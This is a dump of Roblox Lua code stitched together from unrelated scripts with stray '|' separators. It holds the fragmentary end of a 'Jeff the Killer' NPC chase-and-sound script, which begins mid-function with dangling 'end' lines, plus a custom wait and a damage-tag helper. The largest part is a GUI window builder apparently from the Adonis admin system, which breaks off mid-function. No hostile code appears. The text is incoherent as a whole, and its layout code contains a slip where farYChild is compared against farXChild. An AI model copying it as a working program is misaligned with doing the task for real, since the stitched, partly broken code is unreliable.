if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=22;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=1300;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;
|
-----------------
--| Functions |--
-----------------
|
function wait(TimeToWait)
if TimeToWait ~= nil then
local TotalTime = 0
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
while TotalTime < TimeToWait do
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
end
else
game:GetService("RunService").Heartbeat:wait()
end
end
function DamageTag(parent,damage)
DmgTag = script.DamageTag:clone()
DmgTag.Damage.Value = damage
DmgTag.creator.Value = game.Players.LocalPlayer
DmgTag.Disabled = false
DmgTag.Parent = parent
end
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
--local client = service.GarbleTable(client)
local Player = service.Players.LocalPlayer
local Mouse = Player:GetMouse()
local InputService = service.UserInputService
local gIndex = data.gIndex
local gTable = data.gTable
local Event = gTable.BindEvent
local GUI = gTable.Object
local Name = data.Name
local Icon = data.Icon
local Size = data.Size
local Menu = data.Menu
local Title = data.Title
local Ready = data.Ready
local Walls = data.Walls
local noHide = data.NoHide
local noClose = data.NoClose
local onReady = data.OnReady
local onClose = data.OnClose
local onResize = data.OnResize
local onRefresh = data.OnRefresh
local onMinimize = data.OnMinimize
local ContextMenu = data.ContextMenu
local ResetOnSpawn = data.ResetOnSpawn
local CanKeepAlive = data.CanKeepAlive
local iconClicked = data.IconClicked
local SizeLocked = data.SizeLocked or data.SizeLock
local CanvasSize = data.CanvasSize
local Position = data.Position
local Content = data.Content or data.Children
local MinSize = data.MinSize or {150, 50}
local MaxSize = data.MaxSize or {math.huge, math.huge}
local curIcon = Mouse.Icon
local isClosed = false
local Resizing = false
local Refreshing = false
local DragEnabled = true
local checkProperty = service.CheckProperty
local specialInsts = {}
local inExpandable
local addTitleButton
local LoadChildren
local BringToFront
local functionify
local Drag = GUI.Drag
local Close = Drag.Close
local Hide = Drag.Hide
local Iconf = Drag.Icon
local Titlef = Drag.Title
local Refresh = Drag.Refresh
local rSpinner = Refresh.Spinner
local Main = Drag.Main
local Tooltip = GUI.Desc
local ScrollFrame = GUI.Drag.Main.ScrollingFrame
local LeftSizeIcon = Main.LeftResizeIcon
local RightSizeIcon = Main.RightResizeIcon
local RightCorner = Main.RightCorner
local LeftCorner = Main.LeftCorner
local RightSide = Main.RightSide
local LeftSide = Main.LeftSide
local TopRight = Main.TopRight
local TopLeft = Main.TopLeft
local Bottom = Main.Bottom
local Top = Main.Top
function Expand(ent, point, text, richText)
local label = point:FindFirstChild("Label")
if label then
ent.MouseLeave:Connect(function(x,y)
if inExpandable == ent then
point.Visible = false
end
end)
ent.MouseMoved:Connect(function(x,y)
inExpandable = ent
local text = text or ent.Desc.Value
label.Text = text
label.RichText = richText
label.TextScaled = richText
local sizeText = label.ContentText
local maxWidth = 400
local bounds = service.TextService:GetTextSize(sizeText, label.TextSize, label.Font, Vector2.new(maxWidth, math.huge))
local sizeX, sizeY = bounds.X + 10, bounds.Y + 10
local posX = (x + 6 + sizeX) < GUI.AbsoluteSize.X and (x + 6) or (x - 6 - sizeX)
local posY = (y - 6 - sizeY) > 0 and (y - 6 - sizeY) or (y)
point.Size = UDim2.fromOffset(sizeX, sizeY)
point.Position = UDim2.fromOffset(posX, posY)
point.Visible = true
end)
end
end
function getNextPos(frame)
local farXChild, farYChild
for i,v in ipairs(frame:GetChildren()) do
if checkProperty(v, "Size") then
if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then
farXChild = v
end
if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then
farYChild = v
end
end
end
return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)
end
function LoadChildren(Obj, Children)
if Children then
local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)
for class,data in pairs(Children) do
if type(data) == "table" then
if not data.Parent then data.Parent = Obj end
create(data.Class or data.ClassName or class, data)
elseif type(data) == "function" or type(data) == "string" and not runWhenDone then
runWhenDone = functionify(data, Obj)
end
end
if runWhenDone then
runWhenDone(Obj)
end
end
end
function BringToFront()
for i,v in ipairs(Player.PlayerGui:GetChildren()) do
if v:FindFirstChild("__ADONIS_WINDOW") then
v.DisplayOrder = 100
end
end
GUI.DisplayOrder = 101
end
function addTitleButton(data)
local startPos = 1
local realPos
local new
local original = Hide
local diff = (Hide.AbsolutePosition.X + Hide.AbsoluteSize.X) - Close.AbsolutePosition.X;
local far = Close;
for i,obj in ipairs(Drag:GetChildren()) do
if obj:IsA("TextButton") then
if obj.Visible and obj.AbsolutePosition.X < far.AbsolutePosition.X then
far = obj;
end
end
end;
local size = data.Size or original.Size;
local xPos = far.Position.X.Offset - (size.X.Offset - diff);
realPos = UDim2.new(far.Position.X.Scale, xPos, original.Position.Y.Scale, original.Position.Y.Offset)
data.Name = "__TITLEBUTTON"
data.Size = size
data.Parent = Drag
data.ZIndex = data.ZIndex or original.ZIndex
data.Position = data.Position or realPos
data.TextSize = data.TextSize or original.TextSize
data.TextColor3 = data.TextColor3 or original.TextColor3
data.TextScaled = data.TextScaled or original.TextScaled
data.TextScaled = data.TextScaled or original.TextScaled
data.TextWrapped = data.TextWrapped or original.TextWrapped
data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3
data.TextTransparency = data.TextTransparency or original.TextTransparency
data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency
data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency
data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3
data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel
--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment
--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment
data.Font = data.Font or original.Font
return create("TextButton", data)
end
function functionify(func, object)
if type(func) == "string" then
if object then
local env = GetEnv()
env.Object = object
return client.Core.LoadCode(func, env)
else
return client.Core.LoadCode(func)
end
else
return func
end
end
function create(class, dataFound, existing)
local data = dataFound or {}
local class = data.Class or data.ClassName or class
local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)
local parent = data.Parent or new.Parent
if dataFound then
data.Parent = nil
if data.Class or data.ClassName then
data.Class = nil
data.ClassName = nil
end
if not data.BorderColor3 and checkProperty(new, "BorderColor3") then
new.BorderColor3 = dBorder
end
if not data.CanvasSize and checkProperty(new, "CanvasSize") then
new.CanvasSize = dCanvasSize
end
if not data.BorderSizePixel and checkProperty(new, "BorderSizePixel") then
new.BorderSizePixel = dPixelSize
end
if not data.BackgroundColor3 and checkProperty(new, "BackgroundColor3") then
new.BackgroundColor3 = dBackground
end
if not data.PlaceholderColor3 and checkProperty(new, "PlaceholderColor3") then
new.PlaceholderColor3 = dPlaceholderColor
end
if not data.Transparency and not data.BackgroundTransparency and checkProperty(new, "Transparency") and checkProperty(new, "BackgroundTransparency") then
new.BackgroundTransparency = dTransparency
elseif data.Transparency and checkProperty(new, "BackgroundTransparency") then
new.BackgroundTransparency = data.Transparency
end
if not data.TextColor3 and not data.TextColor and checkProperty(new, "TextColor3") then
new.TextColor3 = dTextColor
elseif data.TextColor then
new.TextColor3 = data.TextColor
end
if not data.Font and checkProperty(new, "Font") then
data.Font = dFont
end
if not data.TextSize and checkProperty(new, "TextSize") then
data.TextSize = dTextSize
end
if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then
new.BottomImage = dScrollImage
new.MidImage = dScrollImage
new.TopImage = dScrollImage
end
if not data.Size and checkProperty(new, "Size") then
new.Size = dSize
end
if not data.Position and checkProperty(new, "Position") then
new.Position = dPosition
end
if not data.ZIndex and checkProperty(new, "ZIndex") then
new.ZIndex = dZIndex
if parent and checkProperty(parent, "ZIndex") then
new.ZIndex = parent.ZIndex
end
end
if data.TextChanged and class == "TextBox" then
local textChanged = functionify(data.TextChanged, new)
new.FocusLost:Connect(function(enterPressed)
textChanged(new.Text, enterPressed, new)
end)
end
if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then
local debounce = false;
local doDebounce = data.Debounce;
local onClick = functionify((data.OnClicked or data.OnClick), new)
new.MouseButton1Down:Connect(function()
if not debounce then
if doDebounce then
debounce = true
end
onClick(new)
debounce = false
end
end)
end
if data.Events then
for event,func in pairs(data.Events) do
local realFunc = functionify(func, new)
Event(new[event], function(...)
realFunc(...)
end)
end
end
if data.Visible == nil then
data.Visible = true
end
if data.LabelProps then
data.LabelProperties = data.LabelProps
end
end
if class == "Entry" then
local label = new.Text
local dots = new.Dots
local desc = new.Desc
local richText = data.RichText or label.RichText
label.ZIndex = data.ZIndex or new.ZIndex
dots.ZIndex = data.ZIndex or new.ZIndex
if data.Text then
label.Text = data.Text
label.Visible = true
data.Text = nil
end
if data.Desc or data.ToolTip then
desc.Value = data.Desc or data.ToolTip
data.Desc = nil
end
Expand(new, Tooltip, nil, richText)
else
if data.ToolTip then
Expand(new, Tooltip, data.ToolTip, data.RichText)
end
end
if class == "ButtonEntry" then
local button = new.Button
local debounce = false
local onClicked = functionify(data.OnClicked, button)
new:SetSpecial("DoClick",function()
if not debounce then
debounce = true
if onClicked then
onClicked(button)
end
debounce = false
end
end)
new.Text = data.Text or new.Text
button.ZIndex = data.ZIndex or new.ZIndex
button.MouseButton1Down:Connect(new.DoClick)
end
if class == "Boolean" then
local enabled = data.Enabled
local debounce = false
local onToggle = functionify(data.OnToggle, new)
local function toggle(isEnabled)
if not debounce then
debounce = true
if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then
enabled = false
new.Text = "Disabled"
elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then
enabled = true
new.Text = "Enabled"
end
if onToggle then
onToggle(enabled, new)
end
debounce = false
end
end
--new.ZIndex = data.ZIndex
new.Text = (enabled and "Enabled") or "Disabled"
new.MouseButton1Down:Connect(function()
if onToggle then
toggle()
end
end)
new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end)
end
if class == "StringEntry" then
local box = new.Box
local ignore
new.Text = data.Text or new.Text
box.ZIndex = data.ZIndex or new.ZIndex
if data.BoxText then
box.Text = data.BoxText
end
if data.BoxProperties then
for i,v in pairs(data.BoxProperties) do
if checkProperty(box, i) then
box[i] = v
end
end
end
if data.TextChanged then
local textChanged = functionify(data.TextChanged, box)
box.Changed:Connect(function(p)
if p == "Text" and not ignore then
textChanged(box.Text)
end
end)
box.FocusLost:Connect(function(enter)
local change = textChanged(box.Text, true, enter)
if change then
ignore = true
box.Text = change
ignore = false
end
end)
end
new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end)
end
if class == "Slider" then
local mouseIsIn = false
local posValue = new.Percentage
local slider = new.Slider
local bar = new.SliderBar
local drag = new.Drag
local moving = false
local value = 0
local onSlide = functionify(data.OnSlide, new)
bar.ZIndex = data.ZIndex or new.ZIndex
slider.ZIndex = bar.ZIndex+1
drag.ZIndex = slider.ZIndex+1
drag.Active = true
if data.Value then
slider.Position = UDim2.new(0.5, -10, 0.5, -10)
drag.Position = slider.Position
end
bar.InputBegan:Connect(function(input)
if not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
value = ((input.Position.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
drag.DragBegin:Connect(function()
moving = true
end)
drag.DragStopped:Connect(function()
moving = false
drag.Position = slider.Position
end)
drag.Changed:Connect(function()
if moving then
value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
new:SetSpecial("SetValue",function(ignore, newValue)
if newValue and tonumber(newValue) then
value = tonumber(newValue)
posValue.Value = value
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
end
end)
end
if class == "Dropdown" then
local menu = new.Menu
local downImg = new.Down
local selected = new.dSelected
local options = data.Options
local curSelected = data.Selected or data.Selection
local onSelect = functionify(data.OnSelection or data.OnSelect or function()end)
local textProps = data.TextProperties
local scroller = create("ScrollingFrame", {
Parent = menu;
Size = UDim2.fromScale(1, 1);
Position = UDim2.new();
BackgroundTransparency = 1;
ZIndex = 100;
})
menu.ZIndex = scroller.ZIndex
menu.Parent = GUI
menu.Visible = false
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);
menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3
if data.TextAlignment then
selected.TextXAlignment = data.TextAlignment
selected.Position = UDim2.fromOffset(30, 0);
end
if data.NoArrow then
downImg.Visible = false
end
new:SetSpecial("MenuContainer", menu)
new.Changed:Connect(function(p)
if p == "AbsolutePosition" and menu.Visible then
menu.Position = UDim2.fromOffset(new.AbsolutePosition.X, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
elseif p == "AbsoluteSize" or p == "Parent" then
downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);
if data.TextAlignment == "Right" then
downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))
selected.Position = UDim2.fromOffset(new.AbsoluteSize.Y, 0);
else
downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))
end
selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);
if options and #options <= 6 then
menu.Size = UDim2.fromOffset(new.AbsoluteSize.X, 30*#options);
else
menu.Size = UDim2.fromOffset(new.AbsoluteSize.X, 30*6);
scroller:ResizeCanvas(false, true);
end
end
end)
selected.ZIndex = new.ZIndex
downImg.ZIndex = new.ZIndex
if textProps then
for i,v in pairs(textProps) do
selected[i] = v
end
end
if options then
for i,v in pairs(options) do
local button = scroller:Add("TextButton", {
Text = " ".. tostring(v);
Size = UDim2.new(1, -10, 0, 30);
Position = UDim2.new(0, 5, 0, 30*(i-1));
ZIndex = menu.ZIndex;
BackgroundTransparency = 1;
OnClick = function()
selected.Text = v;
onSelect(v, new);
menu.Visible = false
end
})
if textProps then
for i,v in pairs(textProps) do
button[i] = v
end
end
end
if curSelected then
selected.Text = curSelected
else
selected.Text = "No Selection"
end
local function showMenu()
menu.Position = UDim2.fromOffset(new.AbsolutePosition.X, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
menu.Visible = not menu.Visible
end
selected.MouseButton1Down:Connect(showMenu)
downImg.MouseButton1Down:Connect(showMenu)
end
end
if class == "TabFrame" then
local buttonsTab = {};
local buttons = create("ScrollingFrame", nil, new.Buttons)
local frames = new.Frames
local numTabs = 0
local buttonSize = data.ButtonSize or 60
new.BackgroundTransparency = data.BackgroundTransparency or 1
buttons.ZIndex = data.ZIndex or new.ZIndex
frames.ZIndex = buttons.ZIndex
new:SetSpecial("GetTab", function(ignore, name)
return frames:FindFirstChild(name)
end)
new:SetSpecial("NewTab", function(ignore, name, data)
local data = data or {}
--local numChildren = #frames:GetChildren()
local nextPos = getNextPos(buttons);
local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)
local oTextTrans = data.TextTransparency
local isOpen = false
local disabled = false
local tabFrame = create("ScrollingFrame",{
Name = name;
Size = UDim2.fromScale(1, 1);
Position = UDim2.new();
BorderSizePixel = 0;
BackgroundTransparency = data.FrameTransparency or data.Transparency;
BackgroundColor3 = data.Color or dSecondaryBackground;
ZIndex = buttons.ZIndex;
Visible = false;
})
local tabButton = create("TextButton",{
Name = name;
Text = data.Text or name;
Size = UDim2.new(0, textSize.X+20, 1, 0);
ZIndex = buttons.ZIndex;
Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);
TextColor3 = data.TextColor;
BackgroundTransparency = 0.7;
TextTransparency = data.TextTransparency;
BackgroundColor3 = data.Color or dSecondaryBackground;
BorderSizePixel = 0;
})
tabFrame:SetSpecial("FocusTab",function()
for i,v in ipairs(buttonsTab) do
if isGui(v) then
v.BackgroundTransparency = (v:IsDisabled() and 0.9) or 0.7
v.TextTransparency = (v:IsDisabled() and 0.9) or 0.7
end
end
for i,v in ipairs(frames:GetChildren()) do
if isGui(v) then
v.Visible = false
end
end
tabButton.BackgroundTransparency = data.Transparency or 0
tabButton.TextTransparency = data.TextTransparency or 0
tabFrame.Visible = true
if data.OnFocus then
data.OnFocus(true)
end
end)
if numTabs == 0 then
tabFrame.Visible = true
tabButton.BackgroundTransparency = data.Transparency or 0
end
tabButton.MouseButton1Down:Connect(function()
if not disabled then
tabFrame:FocusTab()
end
end)
tabButton.Parent = buttons
tabFrame.Parent = frames
buttons:ResizeCanvas(true, false)
tabFrame:SetSpecial("Disable", function()
disabled = true;
tabButton.BackgroundTransparency = 0.9;
tabButton.TextTransparency = 0.9
end)
tabFrame:SetSpecial("Enable", function()
disabled = false;
tabButton.BackgroundTransparency = 0.7;
tabButton.TextTransparency = data.TextTransparency or 0;
end)
tabButton:SetSpecial("IsDisabled", function()
return disabled;
end)
table.insert(buttonsTab, tabButton);
numTabs = numTabs+1;
return tabFrame,tabButton
end)
end
if class == "ScrollingFrame" then
local genning = false
if not data.ScrollBarThickness then
data.ScrollBarThickness = dScrollBar
end
new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom)
local list = list or obj;
local genHold = {}
local entProps = labelProperties or {}
genning = genHold
new:ClearAllChildren()
new.AutomaticCanvasSize = "Y"
local layout = service.New("UIListLayout", {
Parent = new;
Name = "LayoutOrder";
FillDirection = data.Layout_FillDirection or "Vertical";
VerticalAlignment = data.Layout_VerticalAlignment or "Top";
HorizontalAlignment = data.Layout_HorizontalAlignment or "Left";
})
local num = 0
for i,v in pairs(list) do
local text = v;
local desc;
local color
local richText;
if type(v) == "table" then
text = v.Text
desc = v.Desc
color = v.Color
if v.RichTextAllowed or entProps.RichTextAllowed then
richText = true
end
end
local label
if v.TextSelectable or entProps.TextSelectable then
label = create("TextBox",{
Text = " "..tostring(text);
ToolTip = desc;
Size = UDim2.new(1,-5,0,(entProps.ySize or 20));
Visible = true;
BackgroundTransparency = 1;
Font = "Arial";
TextSize = 14;
TextStrokeTransparency = 0.8;
TextXAlignment = "Left";
Position = UDim2.new(0,0,0,num*(entProps.ySize or 20));
RichText = richText or false;
TextEditable = false;
ClearTextOnFocus = false;
})
else
label = create("TextLabel",{
Text = " "..tostring(text);
ToolTip = desc;
Size = UDim2.new(1,-5,0,(entProps.ySize or 20));
Visible = true;
BackgroundTransparency = 1;
Font = "Arial";
TextSize = 14;
TextStrokeTransparency = 0.8;
TextXAlignment = "Left";
Position = UDim2.new(0,0,0,num*(entProps.ySize or 20));
RichText = richText or false;
})
end
if color then
label.TextColor3 = color
end
if labelProperties then
for i,v in pairs(entProps) do
if checkProperty(label, i) then
label[i] = v
end
end
end
if genning == genHold then
label.Parent = new;
else
label:Destroy()
break
end
num = num+1
if data.Delay then
if type(data.Delay) == "number" then
wait(data.Delay)
elseif i%100 == 0 then
wait(0.1)
end
end
end
--new:ResizeCanvas(false, true, false, bottom, 5, 5, 50)
if bottom then
new.CanvasPosition = Vector2.new(0, layout.AbsoluteContentSize.Y);
end
genning = nil
end)
new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)
local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5
local newY, newX = 0,0
if not onX and not onY then onX = false onY = true end
for i,v in ipairs(new:GetChildren()) do
if v:IsA("GuiObject") then
if onY then
v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)
v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)
end
if onX then
v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)
v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)
end
local yLower = v.Position.Y.Offset + v.Size.Y.Offset
local xLower = v.Position.X.Offset + v.Size.X.Offset
newY = math.max(newY, yLower)
newX = math.max(newX, xLower)
if modBreak then
if i%modBreak == 0 then
wait(1/60)
end
end
end
end
if onY then
new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)
end
if onX then
new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)
end
if xMax then
new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)
end
if yMax then
new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)
end
end)
if data.List then new:GenerateList(data.List) data.List = nil end
end
LoadChildren(new, data.Content or data.Children)
data.Children = nil
data.Content = nil
for i,v in pairs(data) do
if checkProperty(new, i) then
new[i] = v
end
end
new.Parent = parent
return apiIfy(new, data, class),data
end
function apiIfy(gui, data, class)
local newGui = service.Wrap(gui)
gui:SetSpecial("Object", gui)
gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end)
gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end)
gui:SetSpecial("Add", function(ignore, class, data)
if not data then data = class class = ignore end
local new = create(class,data);
new.Parent = gui;
return apiIfy(new, data, class)
end)
gui:SetSpecial("Copy", function(ignore, class, gotData)
local newData = {}
local new
for i,v in pairs(data) do
newData[i] = v
end
for i,v in pairs(gotData) do
newData[i] = v
end
new = create(class or data.Class or gui.ClassName, newData);
new.Parent = gotData.Parent or gui.Parent;
return apiIfy(new, data, class)
end)
return newGui
end
function doClose()
if not isClosed then
isClosed = true
if onClose then
local r,e = pcall(onClose)
if e then
warn(e)
end
end
gTable:Destroy()
end
end
function isVisible()
return Main.Visible
end
local hideLabel = Hide:FindFirstChild("TextLabel")
function doHide(doHide)
local origLH = Hide.LineHeight
if doHide or (doHide == nil and Main.Visible) then
dragSize = Drag.Size
Main.Visible = false
Drag.BackgroundTransparency = Main.BackgroundTransparency
Drag.BackgroundColor3 = Main.BackgroundColor3
Drag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
if hideLabel then
hideLabel.Text = "+"
else
Hide.Text = "+"
end
Hide.LineHeight = origLH
gTable.Minimized = true
elseif doHide == false or (doHide == nil and not Main.Visible) then
Main.Visible = true
Drag.BackgroundTransparency = 1
Drag.Size = dragSize or Drag.Size
if hideLabel then
hideLabel.Text = "-"
else
Hide.Text = "-"
end
Hide.LineHeight = origLH
gTable.Minimized = false
end
if onMinimize then
onMinimize(Main.Visible)
end
if Walls then
wallPosition()
end
end
function isInFrame(x, y, frame)
